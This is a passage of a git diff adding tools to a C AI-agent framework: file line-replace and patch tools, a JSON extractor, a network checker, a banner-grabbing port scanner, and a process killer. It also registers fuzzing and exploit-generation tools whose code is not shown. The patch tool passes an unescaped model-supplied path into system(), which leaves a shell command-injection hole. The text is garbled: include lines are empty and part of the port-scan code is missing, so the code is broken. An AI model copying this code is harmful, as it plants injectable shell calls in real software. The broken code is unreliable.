type); + + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("hostname")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} diff --git a/src/tools/tool_file.c b/src/tools/tool_file.c index 932578f..d83e49f 100755 --- a/src/tools/tool_file.c +++ b/src/tools/tool_file.c @@ -2,6 +2,7 @@ #include "tool.h" #include "r_config.h" +#include "r_diff.h" #include #include #include @@ -261,14 +262,36 @@ static char *write_file_execute(tool_t *self, struct json_object *args) { } const char *path = json_object_get_string(path_obj); - const char *content = json_object_get_string(content_obj); + const char *new_content = json_object_get_string(content_obj); + + // Read old content for diff + char *old_content = NULL; + FILE *old_fp = fopen(path, "r"); + if (old_fp) { + fseek(old_fp, 0, SEEK_END); + long size = ftell(old_fp); + rewind(old_fp); + if (size >= 0) { + old_content = malloc((size_t)size + 1); + if (old_content) { + size_t rs = fread(old_content, 1, (size_t)size, old_fp); + old_content[rs] = '\0'; + } + } + fclose(old_fp); + } + + if (old_content) { + r_diff_print(path, old_content, new_content); + free(old_content); + } ensure_parent_directory_exists(path); FILE *fp = fopen(path, "w+"); if (!fp) return strdup("Failed to open file for writing!"); - fwrite(content, 1, strlen(content), fp); + fwrite(new_content, 1, strlen(new_content), fp); fclose(fp); return strdup("File successfully written."); } @@ -557,7 +580,12 @@ static struct json_object *getpwd_get_description(void) { json_object_object_add(function, "description", json_object_new_string("Returns the current working directory as a string.")); - json_object_object_add(function, "parameters", json_object_new_null()); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + json_object_object_add(parameters, "properties", json_object_new_object()); + json_object_object_add(parameters, "additionalProperties", json_object_new_boolean(0)); + + json_object_object_add(function, "parameters", parameters); json_object_object_add(root, "function", function); return root; } diff --git a/src/tools/tool_file_edit.c b/src/tools/tool_file_edit.c new file mode 100644 index 0000000..9fe51da --- /dev/null +++ b/src/tools/tool_file_edit.c @@ -0,0 +1,256 @@ +// retoor + +#include "tool.h" +#include "r_diff.h" +#include +#include +#include +#include + +static struct json_object *file_line_replace_get_description(void); +static char *file_line_replace_execute(tool_t *self, struct json_object *args); +static void file_line_replace_print_action(const char *name, struct json_object *args); + +static struct json_object *file_apply_patch_get_description(void); +static char *file_apply_patch_execute(tool_t *self, struct json_object *args); +static void file_apply_patch_print_action(const char *name, struct json_object *args); + +static const tool_vtable_t file_line_replace_vtable = { + .get_description = file_line_replace_get_description, + .execute = file_line_replace_execute, + .print_action = file_line_replace_print_action +}; + +static const tool_vtable_t file_apply_patch_vtable = { + .get_description = file_apply_patch_get_description, + .execute = file_apply_patch_execute, + .print_action = file_apply_patch_print_action +}; + +static tool_t file_line_replace_tool = { .vtable = &file_line_replace_vtable, .name = "file_line_replace" }; +static tool_t file_apply_patch_tool = { .vtable = &file_apply_patch_vtable, .name = "file_apply_patch" }; + +tool_t *tool_file_line_replace_create(void) { return &file_line_replace_tool; } +tool_t *tool_file_apply_patch_create(void) { return &file_apply_patch_tool; } + +static char *read_full_file(const char *path) { + FILE *fp = fopen(path, "r"); + if (!fp) return NULL; + fseek(fp, 0, SEEK_END); + long size = ftell(fp); + rewind(fp); + char *content = malloc(size + 1); + if (content) { + size_t rs = fread(content, 1, size, fp); + content[rs] = '\0'; + } + fclose(fp); + return content; +} + +static void file_line_replace_print_action(const char *name, struct json_object *args) { + (void)name; + struct json_object *path; + if (json_object_object_get_ex(args, "path", &path)) { + fprintf(stderr, " -> Replacing lines in: %s\n", json_object_get_string(path)); + } +} + +static char *file_line_replace_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *path_obj, *start_obj, *end_obj, *replacement_obj; + if (!json_object_object_get_ex(args, "path", &path_obj) || + !json_object_object_get_ex(args, "start_line", &start_obj) || + !json_object_object_get_ex(args, "end_line", &end_obj) || + !json_object_object_get_ex(args, "replacement", &replacement_obj)) { + return strdup("Error: missing arguments for file_line_replace"); + } + + const char *path = json_object_get_string(path_obj); + int start_line = json_object_get_int(start_obj); + int end_line = json_object_get_int(end_obj); + const char *replacement = json_object_get_string(replacement_obj); + + char *old_content = read_full_file(path); + if (!old_content) return strdup("Error: could not read file"); + + // Split into lines + char **lines = NULL; + int count = 0; + char *copy = strdup(old_content); + char *saveptr; + char *line = strtok_r(copy, "\n", &saveptr); + while (line) { + lines = realloc(lines, sizeof(char *) * (count + 1)); + lines[count++] = strdup(line); + line = strtok_r(NULL, "\n", &saveptr); + } + free(copy); + + if (start_line < 1 || start_line > count || end_line < start_line || end_line > count) { + for (int i = 0; i < count; i++) free(lines[i]); + free(lines); + free(old_content); + return strdup("Error: invalid line range"); + } + + // Build new content + size_t new_size = 1024 * 1024; // start with 1MB + char *new_content = malloc(new_size); + new_content[0] = '\0'; + size_t current_len = 0; + + for (int i = 1; i <= count; i++) { + const char *to_add = NULL; + if (i < start_line || i > end_line) { + to_add = lines[i - 1]; + } else if (i == start_line) { + to_add = replacement; + } + + if (to_add) { + size_t add_len = strlen(to_add); + if (current_len + add_len + 2 >= new_size) { + new_size *= 2; + new_content = realloc(new_content, new_size); + } + strcat(new_content, to_add); + strcat(new_content, "\n"); + current_len += add_len + 1; + } + } + + r_diff_print(path, old_content, new_content); + + FILE *fp = fopen(path, "w"); + if (fp) { + fputs(new_content, fp); + fclose(fp); + } + + for (int i = 0; i < count; i++) free(lines[i]); + free(lines); + free(old_content); + free(new_content); + + return strdup("Lines replaced successfully."); +} + +static void file_apply_patch_print_action(const char *name, struct json_object *args) { + (void)name; + struct json_object *path; + if (json_object_object_get_ex(args, "path", &path)) { + fprintf(stderr, " -> Applying patch to: %s\n", json_object_get_string(path)); + } +} + +static char *file_apply_patch_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *path_obj, *patch_obj; + if (!json_object_object_get_ex(args, "path", &path_obj) || + !json_object_object_get_ex(args, "patch", &patch_obj)) { + return strdup("Error: missing arguments for file_apply_patch"); + } + + const char *path = json_object_get_string(path_obj); + const char *patch = json_object_get_string(patch_obj); + + char *old_content = read_full_file(path); + + char patch_file[] = "/tmp/r_patch_XXXXXX"; + int fd = mkstemp(patch_file); + if (fd == -1) return strdup("Error: could not create temp patch file"); + ssize_t written = write(fd, patch, strlen(patch)); + close(fd); + + if (written < (ssize_t)strlen(patch)) { + unlink(patch_file); + return strdup("Error: could not write full patch to temp file"); + } + + char cmd[1024]; + snprintf(cmd, sizeof(cmd), "patch %s %s", path, patch_file); + int res = system(cmd); + unlink(patch_file); + + if (res != 0) { + free(old_content); + return strdup("Error: patch application failed"); + } + + char *new_content = read_full_file(path); + if (old_content && new_content) { + r_diff_print(path, old_content, new_content); + } + + free(old_content); + free(new_content); + + return strdup("Patch applied successfully."); +} + +static struct json_object *file_line_replace_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("file_line_replace")); + json_object_object_add(function, "description", json_object_new_string("Replace a range of lines in a file with new content.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *path = json_object_new_object(); + json_object_object_add(path, "type", json_object_new_string("string")); + json_object_object_add(properties, "path", path); + + struct json_object *start = json_object_new_object(); + json_object_object_add(start, "type", json_object_new_string("integer")); + json_object_object_add(properties, "start_line", start); + + struct json_object *end = json_object_new_object(); + json_object_object_add(end, "type", json_object_new_string("integer")); + json_object_object_add(properties, "end_line", end); + + struct json_object *repl = json_object_new_object(); + json_object_object_add(repl, "type", json_object_new_string("string")); + json_object_object_add(properties, "replacement", repl); + + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("path")); + json_object_array_add(required, json_object_new_string("start_line")); + json_object_array_add(required, json_object_new_string("end_line")); + json_object_array_add(required, json_object_new_string("replacement")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} + +static struct json_object *file_apply_patch_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("file_apply_patch")); + json_object_object_add(function, "description", json_object_new_string("Apply a unified diff patch to a file.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *path = json_object_new_object(); + json_object_object_add(path, "type", json_object_new_string("string")); + json_object_object_add(properties, "path", path); + + struct json_object *patch = json_object_new_object(); + json_object_object_add(patch, "type", json_object_new_string("string")); + json_object_object_add(properties, "patch", patch); + + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("path")); + json_object_array_add(required, json_object_new_string("patch")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} diff --git a/src/tools/tool_indexer.c b/src/tools/tool_indexer.c index 86a549e..d02ee3a 100755 --- a/src/tools/tool_indexer.c +++ b/src/tools/tool_indexer.c @@ -101,6 +101,8 @@ static void index_directory_recursive(const char *path, struct json_object *resu if (S_ISDIR(st.st_mode)) { index_directory_recursive(full_path, result_array); } else if (S_ISREG(st.st_mode) && is_source_file(entry->d_name)) { + fprintf(stderr, " -> Indexing: %s\n", full_path); + fflush(stderr); FILE *fp = fopen(full_path, "r"); if (!fp) continue; diff --git a/src/tools/tool_json.c b/src/tools/tool_json.c new file mode 100644 index 0000000..f8533e9 --- /dev/null +++ b/src/tools/tool_json.c @@ -0,0 +1,103 @@ +// retoor + +#include "tool.h" +#include "r_config.h" +#include "json_repair.h" +#include +#include +#include + +static struct json_object *json_extract_get_description(void); +static char *json_extract_execute(tool_t *self, struct json_object *args); +static void json_extract_print_action(const char *name, struct json_object *args); + +static const tool_vtable_t json_extract_vtable = { + .get_description = json_extract_get_description, + .execute = json_extract_execute, + .print_action = json_extract_print_action +}; + +static tool_t json_extract_tool = { .vtable = &json_extract_vtable, .name = "json_extract" }; + +tool_t *tool_json_extract_create(void) { return &json_extract_tool; } + +static void json_extract_print_action(const char *name, struct json_object *args) { + (void)name; + if (!args) return; + struct json_object *key; + if (json_object_object_get_ex(args, "key", &key)) { + fprintf(stderr, " \033[1m-> Extracting JSON key:\033[0m %s\n", json_object_get_string(key)); + } +} + +static char *json_extract_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *json_str_obj, *key_obj; + if (!json_object_object_get_ex(args, "json", &json_str_obj)) { + return strdup("Error: missing 'json' argument"); + } + if (!json_object_object_get_ex(args, "key", &key_obj)) { + return strdup("Error: missing 'key' argument"); + } + + const char *json_str = json_object_get_string(json_str_obj); + const char *key = json_object_get_string(key_obj); + + char *repaired = json_repair_string(json_str); + struct json_object *parsed = json_tokener_parse(repaired); + free(repaired); + if (!parsed) return strdup("Error: failed to parse JSON string"); + + struct json_object *val; + if (!json_object_object_get_ex(parsed, key, &val)) { + json_object_put(parsed); + return strdup("Error: key not found in JSON"); + } + + char *result = strdup(json_object_to_json_string_ext(val, JSON_C_TO_STRING_PLAIN)); + json_object_put(parsed); + return result; +} + +static struct json_object *json_extract_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("json_extract")); + json_object_object_add(function, "description", + json_object_new_string("Extracts a specific key from a JSON object and returns its value. Note: this tool ONLY works on objects, not arrays. If you have an array or need complex processing, use python_execute.")); + + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + + struct json_object *properties = json_object_new_object(); + + struct json_object *json_param = json_object_new_object(); + json_object_object_add(json_param, "type", json_object_new_string("string")); + json_object_object_add(json_param, "description", json_object_new_string("The JSON string to parse.")); + json_object_object_add(properties, "json", json_param); + + struct json_object *key_param = json_object_new_object(); + json_object_object_add(key_param, "type", json_object_new_string("string")); + json_object_object_add(key_param, "description", json_object_new_string("The key to extract.")); + json_object_object_add(properties, "key", key_param); + + json_object_object_add(parameters, "properties", properties); + + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("json")); + json_object_array_add(required, json_object_new_string("key")); + json_object_object_add(parameters, "required", required); + json_object_object_add(parameters, "additionalProperties", json_object_new_boolean(0)); + + json_object_object_add(function, "parameters", parameters); + + r_config_handle cfg = r_config_get_instance(); + if (r_config_use_strict(cfg)) { + json_object_object_add(function, "strict", json_object_new_boolean(1)); + } + + json_object_object_add(root, "function", function); + return root; +} diff --git a/src/tools/tool_network.c b/src/tools/tool_network.c new file mode 100644 index 0000000..82d3fdd --- /dev/null +++ b/src/tools/tool_network.c @@ -0,0 +1,253 @@ +// retoor + +#include "tool.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static struct json_object *network_check_get_description(void); +static char *network_check_execute(tool_t *self, struct json_object *args); +static void network_check_print_action(const char *name, struct json_object *args); + +static struct json_object *network_port_scan_get_description(void); +static char *network_port_scan_execute(tool_t *self, struct json_object *args); + +static const tool_vtable_t network_check_vtable = { + .get_description = network_check_get_description, + .execute = network_check_execute, + .print_action = network_check_print_action +}; + +static const tool_vtable_t network_port_scan_vtable = { + .get_description = network_port_scan_get_description, + .execute = network_port_scan_execute, + .print_action = NULL +}; + +static tool_t network_check_tool = { .vtable = &network_check_vtable, .name = "network_check" }; +static tool_t network_port_scan_tool = { .vtable = &network_port_scan_vtable, .name = "network_port_scan" }; + +tool_t *tool_network_check_create(void) { return &network_check_tool; } +tool_t *tool_network_port_scan_create(void) { return &network_port_scan_tool; } + +static char *network_port_scan_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *host_obj = NULL, *start_obj = NULL, *end_obj = NULL; + if (!json_object_object_get_ex(args, "host", &host_obj)) return strdup("Error: host missing"); + + json_object_object_get_ex(args, "start_port", &start_obj); + json_object_object_get_ex(args, "end_port", &end_obj); + + const char *host = json_object_get_string(host_obj); + int start_port = start_obj ? json_object_get_int(start_obj) : 0; + int end_port = end_obj ? json_object_get_int(end_obj) : start_port; + + struct hostent *server = gethostbyname(host); + if (!server) return strdup("Error: dns resolution failed"); + + struct json_object *results = json_object_new_array(); + + fprintf(stderr, " \033[1mScanning %s ports %d to %d...\033[0m\n", host, start_port, end_port); + + int total = end_port - start_port + 1; + int current = 0; + + for (int port = start_port; port <= end_port; port++) { + current++; + fprintf(stderr, "\r -> [%d/%d] Probing port %d... ", current, total, port); + fflush(stderr); + + int sockfd = socket(AF_INET, SOCK_STREAM, 0); + if (sockfd < 0) continue; + + struct timeval tv; + tv.tv_sec = 0; + tv.tv_usec = 150000; // 150ms for faster feedback + setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + memcpy(&addr.sin_addr.s_addr, server->h_addr, (size_t)server->h_length); + addr.sin_port = htons((unsigned short)port); + + if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) { + fprintf(stderr, "\033[32mOPEN\033[0m \n"); + struct json_object *entry = json_object_new_object(); + json_object_object_add(entry, "port", json_object_new_int(port)); + json_object_object_add(entry, "status", json_object_new_string("OPEN")); + + char banner[1024]; + memset(banner, 0, sizeof(banner)); + tv.tv_sec = 1; + tv.tv_usec = 0; + setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + ssize_t n = recv(sockfd, banner, sizeof(banner)-1, 0); + if (n > 0) { + // Clean banner for display + for(int i=0; i Checking network: %s\n", json_object_get_string(host)); + } +} + +static char *network_check_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *host_obj, *port_obj; + if (!json_object_object_get_ex(args, "host", &host_obj)) { + return strdup("Error: missing 'host' argument"); + } + const char *host = json_object_get_string(host_obj); + int port = 0; + if (json_object_object_get_ex(args, "port", &port_obj)) { + port = json_object_get_int(port_obj); + } + + struct addrinfo hints, *res; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + + if (getaddrinfo(host, NULL, &hints, &res) != 0) { + return strdup("Error: DNS lookup failed"); + } + + char ipstr[INET6_ADDRSTRLEN]; + void *addr; + if (res->ai_family == AF_INET) { + struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr; + addr = &(ipv4->sin_addr); + } else { + struct sockaddr_in6 *ipv6 = (struct sockaddr_in6 *)res->ai_addr; + addr = &(ipv6->sin6_addr); + } + inet_ntop(res->ai_family, addr, ipstr, sizeof(ipstr)); + + char result[1024]; + if (port > 0) { + int sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); + if (sockfd < 0) { + freeaddrinfo(res); + return strdup("Error: could not create socket"); + } + + // Set non-blocking for timeout + int flags = fcntl(sockfd, F_GETFL, 0); + fcntl(sockfd, F_SETFL, flags | O_NONBLOCK); + + struct sockaddr_in serv_addr; + if (res->ai_family == AF_INET) { + memcpy(&serv_addr, res->ai_addr, sizeof(serv_addr)); + serv_addr.sin_port = htons(port); + } + + int conn_res = connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); + if (conn_res < 0) { + if (errno == EINPROGRESS) { + fd_set set; + struct timeval tv; + FD_ZERO(&set); + FD_SET(sockfd, &set); + tv.tv_sec = 2; // 2 second timeout + tv.tv_usec = 0; + int select_res = select(sockfd + 1, NULL, &set, NULL, &tv); + if (select_res > 0) { + int valopt; + socklen_t lon = sizeof(int); + getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); + if (valopt == 0) conn_res = 0; + } + } + } + + close(sockfd); + snprintf(result, sizeof(result), "Host: %s (IP: %s), Port %d: %s", + host, ipstr, port, (conn_res == 0) ? "OPEN" : "CLOSED/TIMEOUT"); + } else { + snprintf(result, sizeof(result), "Host: %s (IP: %s), DNS: OK", host, ipstr); + } + + freeaddrinfo(res); + return strdup(result); +} + +static struct json_object *network_check_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("network_check")); + json_object_object_add(function, "description", json_object_new_string("Check DNS and port connectivity for a host.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *host = json_object_new_object(); + json_object_object_add(host, "type", json_object_new_string("string")); + json_object_object_add(host, "description", json_object_new_string("Hostname or IP to check.")); + json_object_object_add(properties, "host", host); + + struct json_object *port = json_object_new_object(); + json_object_object_add(port, "type", json_object_new_string("integer")); + json_object_object_add(port, "description", json_object_new_string("Port to check (optional).")); + json_object_object_add(properties, "port", port); + + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("host")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} diff --git a/src/tools/tool_system.c b/src/tools/tool_system.c new file mode 100644 index 0000000..6b7b35c --- /dev/null +++ b/src/tools/tool_system.c @@ -0,0 +1,81 @@ +// retoor + +#include "tool.h" +#include "bash_executor.h" +#include +#include +#include + +static struct json_object *process_monitor_get_description(void); +static char *process_monitor_execute(tool_t *self, struct json_object *args); +static void process_monitor_print_action(const char *name, struct json_object *args); + +static const tool_vtable_t process_monitor_vtable = { + .get_description = process_monitor_get_description, + .execute = process_monitor_execute, + .print_action = process_monitor_print_action +}; + +static tool_t process_monitor_tool = { .vtable = &process_monitor_vtable, .name = "process_monitor" }; + +tool_t *tool_process_monitor_create(void) { return &process_monitor_tool; } + +static void process_monitor_print_action(const char *name, struct json_object *args) { + (void)name; + struct json_object *action; + if (json_object_object_get_ex(args, "action", &action)) { + fprintf(stderr, " -> Process monitor: %s\n", json_object_get_string(action)); + } +} + +static char *process_monitor_execute(tool_t *self, struct json_object *args) { + (void)self; + struct json_object *action_obj; + if (!json_object_object_get_ex(args, "action", &action_obj)) { + return strdup("Error: missing 'action' argument (list or kill)"); + } + const char *action = json_object_get_string(action_obj); + + if (strcmp(action, "list") == 0) { + return r_bash_execute("ps aux | head -n 50", false); + } else if (strcmp(action, "kill") == 0) { + struct json_object *pid_obj; + if (!json_object_object_get_ex(args, "pid", &pid_obj)) { + return strdup("Error: missing 'pid' for kill action"); + } + char cmd[256]; + snprintf(cmd, sizeof(cmd), "kill -9 %d", json_object_get_int(pid_obj)); + return r_bash_execute(cmd, false); + } + + return strdup("Error: unknown action"); +} + +static struct json_object *process_monitor_get_description(void) { + struct json_object *root = json_object_new_object(); + json_object_object_add(root, "type", json_object_new_string("function")); + struct json_object *function = json_object_new_object(); + json_object_object_add(function, "name", json_object_new_string("process_monitor")); + json_object_object_add(function, "description", json_object_new_string("Monitor and manage system processes.")); + struct json_object *parameters = json_object_new_object(); + json_object_object_add(parameters, "type", json_object_new_string("object")); + struct json_object *properties = json_object_new_object(); + + struct json_object *action = json_object_new_object(); + json_object_object_add(action, "type", json_object_new_string("string")); + json_object_object_add(action, "description", json_object_new_string("Action to perform: 'list' or 'kill'.")); + json_object_object_add(properties, "action", action); + + struct json_object *pid = json_object_new_object(); + json_object_object_add(pid, "type", json_object_new_string("integer")); + json_object_object_add(pid, "description", json_object_new_string("Process ID to kill (required for 'kill' action).")); + json_object_object_add(properties, "pid", pid); + + json_object_object_add(parameters, "properties", properties); + struct json_object *required = json_object_new_array(); + json_object_array_add(required, json_object_new_string("action")); + json_object_object_add(parameters, "required", required); + json_object_object_add(function, "parameters", parameters); + json_object_object_add(root, "function", function); + return root; +} diff --git a/src/tools/tools_init.c b/src/tools/tools_init.c index ea4d8a9..5c01af5 100755 --- a/src/tools/tools_init.c +++ b/src/tools/tools_init.c @@ -19,6 +19,17 @@ extern tool_t *tool_db_set_create(void); extern tool_t *tool_db_query_create(void); extern tool_t *tool_python_execute_create(void); extern tool_t *tool_index_source_directory_create(void); +extern tool_t *tool_code_grep_create(void); +extern tool_t *tool_code_symbol_find_create(void); +extern tool_t *tool_file_line_replace_create(void); +extern tool_t *tool_file_apply_patch_create(void); +extern tool_t *tool_process_monitor_create(void); +extern tool_t *tool_network_check_create(void); +extern tool_t *tool_dns_lookup_create(void); +extern tool_t *tool_network_port_scan_create(void); +extern tool_t *tool_automation_fuzz_create(void); +extern tool_t *tool_automation_exploit_gen_create(void); +extern tool_t *tool_csv_export_create(void); static tool_registry_t *global_registry = NULL; @@ -44,6 +55,19 @@ tool_registry_t *tools_get_registry(void) { tool_registry_register(global_registry, tool_db_query_create()); tool_registry_register(global_registry, tool_python_execute_create()); tool_registry_register(global_registry, tool_index_source_directory_create()); + + // New tools + tool_registry_register(global_registry, tool_code_grep_create()); + tool_registry_register(global_registry, tool_code_symbol_find_create()); + tool_registry_register(global_registry, tool_file_line_replace_create()); + tool_registry_register(global_registry, tool_file_apply_patch_create()); + tool_registry_register(global_registry, tool_process_monitor_create()); + tool_registry_register(global_registry, tool_network_check_create()); + tool_registry_register(global_registry, tool_dns_lookup_create()); + tool_registry_register(global_registry, tool_network_port_scan_create()); + tool_registry_register(global_registry, tool_automation_fuzz_create()); + tool_registry_register(global_registry, tool_automation_exploit_gen_create()); + tool_registry_register(global_registry, tool_csv_export_create()); return global_registry; }